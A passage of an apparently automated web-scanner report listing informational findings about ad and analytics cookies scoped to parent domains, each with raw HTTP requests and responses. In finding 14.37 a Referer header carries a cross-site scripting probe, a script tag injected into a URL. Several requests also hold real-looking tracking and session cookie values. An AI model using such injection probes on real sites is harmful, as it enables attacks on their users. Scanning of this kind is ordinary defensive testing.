Host: c.statcounter.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:14 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.10
P3P: policyref="http://www.statcounter.com/w3c/p3p.xml", CP="ADMa OUR COM NAV NID DSP NOI COR"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: is_unique=sc3927194.1305372614.0; expires=Thu, 12-May-2016 11:30:14 GMT; path=/; domain=.statcounter.com
Content-Length: 49
Connection: close
Content-Type: image/gif

GIF89a...................!.......,...........T..;

14.28. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

test_cookie=CheckForPermission; expires=Sat, 14-May-2011 10:24:13 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /activityi;src=490793;type=healt926;cat=wsjco604;ord=3566157207824.29? HTTP/1.1
Host: fls.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Set-Cookie: test_cookie=CheckForPermission; expires=Sat, 14-May-2011 10:24:13 GMT; path=/; domain=.doubleclick.net
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:13 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: /activityi;src=490793;type=healt926;cat=wsjco604;ord=3566157207824.29;~oref=http%3A%2F%2Fonline.wsj.com%2Fhome-page?&_dc_ck=try
Content-Type: text/html; charset=UTF-8
Server: Floodlight server
Content-Length: 328
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="/activityi;src=490793;type=healt
...[SNIP]...

14.29. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

id=2296c1fb18010048||t=1305367760|et=730|cs=x1acgbvi; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /activityi;src=490793;type=healt926;cat=wsjco604;ord=3566157207824.29;~oref=http%3A%2F%2Fonline.wsj.com%2Fhome-page?&_dc_ck=try HTTP/1.1
Host: fls.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Set-Cookie: id=2296c1fb18010048||t=1305367760|et=730|cs=x1acgbvi; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net
Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21-July-2008 23:59:00 GMT
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:20 GMT
Expires: Sat, 14 May 2011 10:09:20 GMT
Cache-Control: private, max-age=0
X-Frame-Options: ALLOWALL
Server: Floodlight
X-Content-Type-Options: nosniff
Content-Type: text/html
X-XSS-Protection: 1; mode=block
Content-Length: 194

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"></body></html>

14.30. http://ib.adnxs.com/seg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/seg

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

uuid2=6323764957655630516; path=/; expires=Fri, 12-Aug-2011 12:51:58 GMT; domain=.adnxs.com; HttpOnly
anj=Kfu=8fG7]PCxrx)0s]#%2L_'x%SEV/hnJip8Ep.IFeD<D[?TTF(PBED!8fQo!@EMW'k98.; path=/; expires=Fri, 12-Aug-2011 12:51:58 GMT; domain=.adnxs.com; HttpOnly

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /seg?add=114689&t=2 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sun, 15-May-2011 12:51:58 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=6323764957655630516; path=/; expires=Fri, 12-Aug-2011 12:51:58 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfu=8fG7]PCxrx)0s]#%2L_'x%SEV/hnJip8Ep.IFeD<D[?TTF(PBED!8fQo!@EMW'k98.; path=/; expires=Fri, 12-Aug-2011 12:51:58 GMT; domain=.adnxs.com; HttpOnly
Location: http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1
Date: Sat, 14 May 2011 12:51:58 GMT
Content-Length: 0

14.31. http://id.google.com/verify/EAAAACuGG1ZJOl73NLOdE3G8DE0.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://id.google.com
Path:	/verify/EAAAACuGG1ZJOl73NLOdE3G8DE0.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SNID=46=99rTB-YM14JVPfKx3nZtK8J3P63QNFpPEq3d5O98sg=5sAcRxSo0F4uAF3j; expires=Sun, 13-Nov-2011 11:35:46 GMT; path=/verify; domain=.google.com; HttpOnly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /verify/EAAAACuGG1ZJOl73NLOdE3G8DE0.gif HTTP/1.1
Host: id.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=LuxiteAuth
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SNID=46=TyBJuWSG46VbQbSmnr9j9ge3PybEa2GMZgks8uaIyw=_izmDOrOWVn6fe5e; PREF=ID=381be2a5a4e321de:U=b4ccbc578566f743:FF=0:TM=1305295666:LM=1305298565:S=ky1WAdlUDHsxJ4Yj; NID=46=emC1yOmaCO9XZw0ZZrmdTgUMUTiBROryAbKeEwGzRnTTb_foakDWTUcuaMExAPE8kEeEMz0BkfgSMyCMmJ1gvhpl_HzvACAHwZGPtRZ9N4F2KFIQgcQa5mmI8arST7K3

Response

HTTP/1.1 200 OK
Set-Cookie: SNID=46=99rTB-YM14JVPfKx3nZtK8J3P63QNFpPEq3d5O98sg=5sAcRxSo0F4uAF3j; expires=Sun, 13-Nov-2011 11:35:46 GMT; path=/verify; domain=.google.com; HttpOnly
Cache-Control: no-cache, private, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Type: image/gif
Date: Sat, 14 May 2011 11:35:46 GMT
Server: zwbk
Content-Length: 43
X-XSS-Protection: 1; mode=block

GIF89a.............!.......,...........D..;

14.32. http://images.apple.com/global/nav/styles/navigation.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.apple.com
Path:	/global/nav/styles/navigation.css

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ccl=o0JDZigmoxjGq4faAakjdzf+SDos/qxMImKNNXzeWaYOxMaPNptafyWx0d3VeuJok0iL5oPgARAsNKzD/lGHKsqzcfgzakpApHj1yOh9QFVeDBVsCoCF1yzx/qJ72p20Q2z+scXUWYaQpe18dqoMPKEQt+KE154QIzOTquzy6o9P2pFaShF1R9yWFPh+t7UKuQNqPgvAtq/qHSQ1gheM4Qm7uA51Jb/zI5mknt89A4DzW0rvu9vHLuyVIlrhOerIpqNGyqRTn+JlMgPYZ0UWnxL/orDperxeGsR9nr0RGY/NqZQhA625WU495FyqfGVaDZ1gYUHlGAGfBIbP+u9SznrjPNwdbTMpdClyEj78u+3wgC+kFNxUEj0UOxTE7QLryGJAydtdDuhWBJ0mXsaIA4qzs68oVHsCs/MParNLVAc+61MtTQykBGDexv31Xuco5NnY6k/vSs1sGIQRXrJkRlIh6r6sYLI9w+48t/knijuCpjoMtpjJqAumnCy1hWF+WHA4ClXfT7d8pobXilqpZd5wagvkv/PSGARBKvZH1FjtH3PktBVDjEIrfTSf65VJ; path=/; domain=.apple.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /global/nav/styles/navigation.css HTTP/1.1
Host: images.apple.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Wed, 11 May 2011 19:48:16 GMT
ETag: "2930-4a3055a8a0000"
Vary: Accept-Encoding
Cteonnt-Length: 10544
Content-Type: text/css
Server: Apache/2.2.3 (Oracle)
Cache-Control: max-age=461
Expires: Sat, 14 May 2011 10:36:55 GMT
Date: Sat, 14 May 2011 10:29:14 GMT
Connection: close
Set-Cookie: ccl=o0JDZigmoxjGq4faAakjdzf+SDos/qxMImKNNXzeWaYOxMaPNptafyWx0d3VeuJok0iL5oPgARAsNKzD/lGHKsqzcfgzakpApHj1yOh9QFVeDBVsCoCF1yzx/qJ72p20Q2z+scXUWYaQpe18dqoMPKEQt+KE154QIzOTquzy6o9P2pFaShF1R9yWFPh+t7UKuQNqPgvAtq/qHSQ1gheM4Qm7uA51Jb/zI5mknt89A4DzW0rvu9vHLuyVIlrhOerIpqNGyqRTn+JlMgPYZ0UWnxL/orDperxeGsR9nr0RGY/NqZQhA625WU495FyqfGVaDZ1gYUHlGAGfBIbP+u9SznrjPNwdbTMpdClyEj78u+3wgC+kFNxUEj0UOxTE7QLryGJAydtdDuhWBJ0mXsaIA4qzs68oVHsCs/MParNLVAc+61MtTQykBGDexv31Xuco5NnY6k/vSs1sGIQRXrJkRlIh6r6sYLI9w+48t/knijuCpjoMtpjJqAumnCy1hWF+WHA4ClXfT7d8pobXilqpZd5wagvkv/PSGARBKvZH1FjtH3PktBVDjEIrfTSf65VJ; path=/; domain=.apple.com
Set-Cookie: geo=US; path=/; domain=.apple.com
Content-Length: 10544

/* GLOBALHEADER */
#globalheader { position:relative; display:block; width:980px; height:36px; margin:18px auto; text-align:left; z-index:9998; background:url(/global/nav/images/globalheader.png) repe
...[SNIP]...

14.33. http://images.apple.com/ipod/images/gradient_texture20100901.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.apple.com
Path:	/ipod/images/gradient_texture20100901.jpg

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ccl=jn1gkyeJ1WKAlCZEVc4LTWOfoR5KzzgHeAS7hqzHSMuCOpjB1psKNSFmvBLqyWuIDgDAgaXM5JpHh4udrWFoym8ywkMe0Kn1wT4dLyW3KPKmkY0ThNgc2x8Up3Hy0uGQv9XS9/uFl0bfYMMFdjbMvt7YuOHgtMBideElnGiWCHyeqIKhFqXhGr1Grw+cB8rZ2gMClHyV6alKgEA6Q/COnKjWRwmLlfQpesPEkWCyHOtj4AjkN3akBjLIeCZ2wv622Hx2afLIrdjCrUT0iM3fHP3tcn7/btTMnxrruETy4/we6WQEWWvjTvDv0yd5N8cR2Rbco2+Tilbkww6BqH43XkmL42Wt2JNXOnSflhuUiOMtvHdQCGYMe6T5mY/mNSsdyklww8Kud0eb4fFljXNTbUtdtuWgkxBCPo6dkWsHrflR2tFRNtkRtZ+g0aJTSDkInSE/Czbu3gdnyOsSEfwpOaxw21Vu2x8UWKtlYKeQjDdX0rQgSZq/5qExOPsga0vr//N+mkUjL0RBsNjgxkht+R1IEJxOY1QdHJZK28NiEOyihHRnn6Ho29zPNKwFGORx; path=/; domain=.apple.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ipod/images/gradient_texture20100901.jpg HTTP/1.1
Host: images.apple.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Wed, 01 Sep 2010 04:18:40 GMT
ETag: "a9a-48f2afe054800"
Server: Apache/2.2.3 (Oracle)
X-N: S
X-Cache-TTL: 3600
X-Cached-Time: Mon, 07 Feb 2011 19:09:20 GMT
Content-Type: image/jpeg
Content-Length: 2714
Cache-Control: max-age=3049
Expires: Sat, 14 May 2011 11:20:05 GMT
Date: Sat, 14 May 2011 10:29:16 GMT
Connection: close
Set-Cookie: ccl=jn1gkyeJ1WKAlCZEVc4LTWOfoR5KzzgHeAS7hqzHSMuCOpjB1psKNSFmvBLqyWuIDgDAgaXM5JpHh4udrWFoym8ywkMe0Kn1wT4dLyW3KPKmkY0ThNgc2x8Up3Hy0uGQv9XS9/uFl0bfYMMFdjbMvt7YuOHgtMBideElnGiWCHyeqIKhFqXhGr1Grw+cB8rZ2gMClHyV6alKgEA6Q/COnKjWRwmLlfQpesPEkWCyHOtj4AjkN3akBjLIeCZ2wv622Hx2afLIrdjCrUT0iM3fHP3tcn7/btTMnxrruETy4/we6WQEWWvjTvDv0yd5N8cR2Rbco2+Tilbkww6BqH43XkmL42Wt2JNXOnSflhuUiOMtvHdQCGYMe6T5mY/mNSsdyklww8Kud0eb4fFljXNTbUtdtuWgkxBCPo6dkWsHrflR2tFRNtkRtZ+g0aJTSDkInSE/Czbu3gdnyOsSEfwpOaxw21Vu2x8UWKtlYKeQjDdX0rQgSZq/5qExOPsga0vr//N+mkUjL0RBsNjgxkht+R1IEJxOY1QdHJZK28NiEOyihHRnn6Ho29zPNKwFGORx; path=/; domain=.apple.com
Set-Cookie: geo=US; path=/; domain=.apple.com

......JFIF.....d.d......Ducky.......F......Adobe.d......................................
. .

.....
...........................

.............................................................{.$..
...[SNIP]...

14.34. http://js.revsci.net/common/pcx.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/common/pcx.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

rsi_segs__1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lFtlR8qmZ5EYm2QQMyGpObby6k1VtBuHgxs0lUA6gb/nSJMHQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:12:11 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /common/pcx.js?tmpl=cm&csid=G07608&ko=2011_5_14__0 HTTP/1.1
Host: js.revsci.net
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lFtlR8qmZ5EYm2QQMyGpObby6k1VtBu3k3vk9eC6Qb/nZ1D4w==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rsi_segs__1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lFtlR8qmZ5EYm2QQMyGpObby6k1VtBuHgxs0lUA6gb/nSJMHQ==; Domain=.revsci.net; Expires=Sun, 13-May-2012 10:12:11 GMT; Path=/
X-Proc-ms: 0
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/javascript;charset=UTF-8
Content-Length: 142
Date: Sat, 14 May 2011 10:12:10 GMT

/* Vermont 12.4.0-1242 (2011-05-12 08:25:50 UTC) */
rsinetsegs = [];
if(typeof(DM_onSegsAvailable)=="function"){DM_onSegsAvailable([],'unk');}

14.35. http://l.sharethis.com/pview previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://l.sharethis.com
Path:	/pview

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

__stid=Cs8yN03OVuknhnUGjLFDAg==; expires=Sun, 13-May-12 10:18:17 GMT; domain=.sharethis.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

14.36. http://leadback.advertising.com/adcedge/lb previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://leadback.advertising.com
Path:	/adcedge/lb

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

C2=pTlzNFJwIob0FAH; domain=advertising.com; expires=Mon, 13-May-2013 10:09:45 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adcedge/lb?site=695501&srvc=1&betr=wsj_snippet_cs=1&betq=4544=381370 HTTP/1.1
Host: leadback.advertising.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 14 May 2011 10:09:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV
Set-Cookie: C2=pTlzNFJwIob0FAH; domain=advertising.com; expires=Mon, 13-May-2013 10:09:45 GMT; path=/
Set-Cookie: GUID=; domain=advertising.com; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/
Set-Cookie: DBC=; domain=advertising.com; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/
Cache-Control: private, max-age=3600
Expires: Sat, 14 May 2011 11:09:45 GMT
Content-Type: image/gif
Content-Length: 49

GIF89a...................!.......,...........T..;

14.37. http://m.adnxs.com/msftcookiehandler previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://m.adnxs.com
Path:	/msftcookiehandler

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

uuid2=2724386019227846218; path=/; expires=Sat, 13-Aug-2011 11:54:14 GMT; domain=.adnxs.com; HttpOnly

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /msftcookiehandler?t=1&c=MUID%3d65B01EE3EC5F47D58DBC84E1BCDF22CC%7cEANON%3dA%253D0055022gy8RF0vIXmCac7Ak3hGHjg_7c3QXL4HLQ611W9qCDIDAe1nU2WfDd1o38vSOeziNX7uaGegqG6YwGomhtvq-vl%2526E%253Dad6%2526W%253D1%7cNAP%3dV%253D1.9%2526E%253Da7c%2526C%253D47neDAnwe3Yg90a_YrfMiF06g8H4_-8ZCZDCdywsuAuISk_7y4iTqg%2526W%253D1 HTTP/1.1
Host: m.adnxs.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: uuid2=2724386019227846218; icu=ChEI9nIQChgCIAIoAjC12KnuBBC12KnuBBgB; anj=Kfu=8fG49EE:3F.0s]#%2L_'x%SEV/hnLCF!z6Uxbd$ekQ..D!3bbvAPDd9f*e9c*LWg-SshA_B=s>@[)<BwI=Ps69UW>5QwNErBmt@g/BWJw)lx6z`x1?8`7Y]`Zmrs`WIFx0[L9DZ9L(U21EB2vXE[1%'3B(2j=Vz[zi1oQc4/COHVg'c$S:@7)(%t*$%/jvG-wwkk6Xc?E; sess=1

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Mon, 16-May-2011 11:54:14 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Sat, 13-Aug-2011 11:54:14 GMT; domain=.adnxs.com; HttpOnly
Content-Length: 43
Content-Type: image/gif
Date: Sun, 15 May 2011 11:54:14 GMT

GIF89a.............!.......,........@..L..;

14.38. http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.apple.com
Path:	/b/ss/applesuperglobal/1/H.20.3/s79162857956252

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

s_vi=[CS]v1|26E7304985161FD4-600001A160013281[CE]; Expires=Thu, 12 May 2016 10:59:31 GMT; Domain=.apple.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b/ss/applesuperglobal/1/H.20.3/s79162857956252?AQB=1&ndh=1&t=14/4/2011%205%3A29%3A21%206%20300&ce=ISO-8859-1&pageName=SEO-Software-US-Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&g=http%3A//itunes.apple.com/us/app/wsj-house-of-the-day/id418203198&r=http%3A//online.wsj.com/article/SB10001424052748703730804576317293981683266.html&ch=SEO&products=Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&h5=appleitmsna%2Cappleitmsus&c12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&v12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&c22=HTML&v22=HTML&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&AQE=1 HTTP/1.1
Host: metrics.apple.com
Proxy-Connection: keep-alive
Referer: http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ccl=jn1gkyeJ1WKAlCZEVc4LTWOfoR5KzzgHeAS7hqzHSMuCOpjB1psKNSFmvBLqyWuIDgDAgaXM5JpHh4udrWFoym8ywkMe0Kn1wT4dLyW3KPKmkY0ThNgc2x8Up3Hy0uGQv9XS9/uFl0bfYMMFdjbMvt7YuOHgtMBideElnGiWCHyeqIKhFqXhGr1Grw+cB8rZ2gMClHyV6alKgEA6Q/COnKjWRwmLlfQpesPEkWCyHOtj4AjkN3akBjLIeCZ2wv622Hx2afLIrdjCrUT0iM3fHP3tcn7/btTMnxrruETy4/we6WQEWWvjTvDv0yd5N8cR2Rbco2+Tilbkww6BqH43XkmL42Wt2JNXOnSflhuUiOMtvHdQCGYMe6T5mY/mNSsdyklww8Kud0eb4fFljXNTbUtdtuWgkxBCPo6dkWsHrflR2tFRNtkRtZ+g0aJTSDkInSE/Czbu3gdnyOsSEfwpOaxw21Vu2x8UWKtlYKeQjDdX0rQgSZq/5qExOPsga0vr//N+mkUjL0RBsNjgxkht+R1IEJxOY1QdHJZK28NiEOyihHRnn6Ho29zPNKwFGORx; geo=US; s_cc=true

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:59:31 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|26E7304985161FD4-600001A160013281[CE]; Expires=Thu, 12 May 2016 10:59:31 GMT; Domain=.apple.com; Path=/
Location: http://metrics.apple.com/b/ss/applesuperglobal/1/H.20.3/s79162857956252?AQB=1&pccr=true&vidn=26E7304985161FD4-600001A160013281&&ndh=1&t=14/4/2011%205%3A29%3A21%206%20300&ce=ISO-8859-1&pageName=SEO-Software-US-Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&g=http%3A//itunes.apple.com/us/app/wsj-house-of-the-day/id418203198&r=http%3A//online.wsj.com/article/SB10001424052748703730804576317293981683266.html&ch=SEO&products=Dow%20Jones%20%26%20Company%2C%20Inc.-WSJ%20House%20of%20the%20Day-418203198&h5=appleitmsna%2Cappleitmsus&c12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&v12=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/534.24%20%28KHTML%2C%20like%20Gecko%29%20Chrome/11.0.696.68%20Safari/534.24&c22=HTML&v22=HTML&s=1920x1200&c=32&j=1.6&v=Y&k=Y&bw=1020&bh=945&AQE=1
X-C: ms-4.4.1
Expires: Fri, 13 May 2011 10:59:31 GMT
Last-Modified: Sun, 15 May 2011 10:59:31 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www611
Content-Length: 0
Content-Type: text/plain

14.39. http://metrics.mcafee.com/b/ss/mcafeecomglobal/1/H.21/s81213273680768 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://metrics.mcafee.com
Path:	/b/ss/mcafeecomglobal/1/H.21/s81213273680768

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

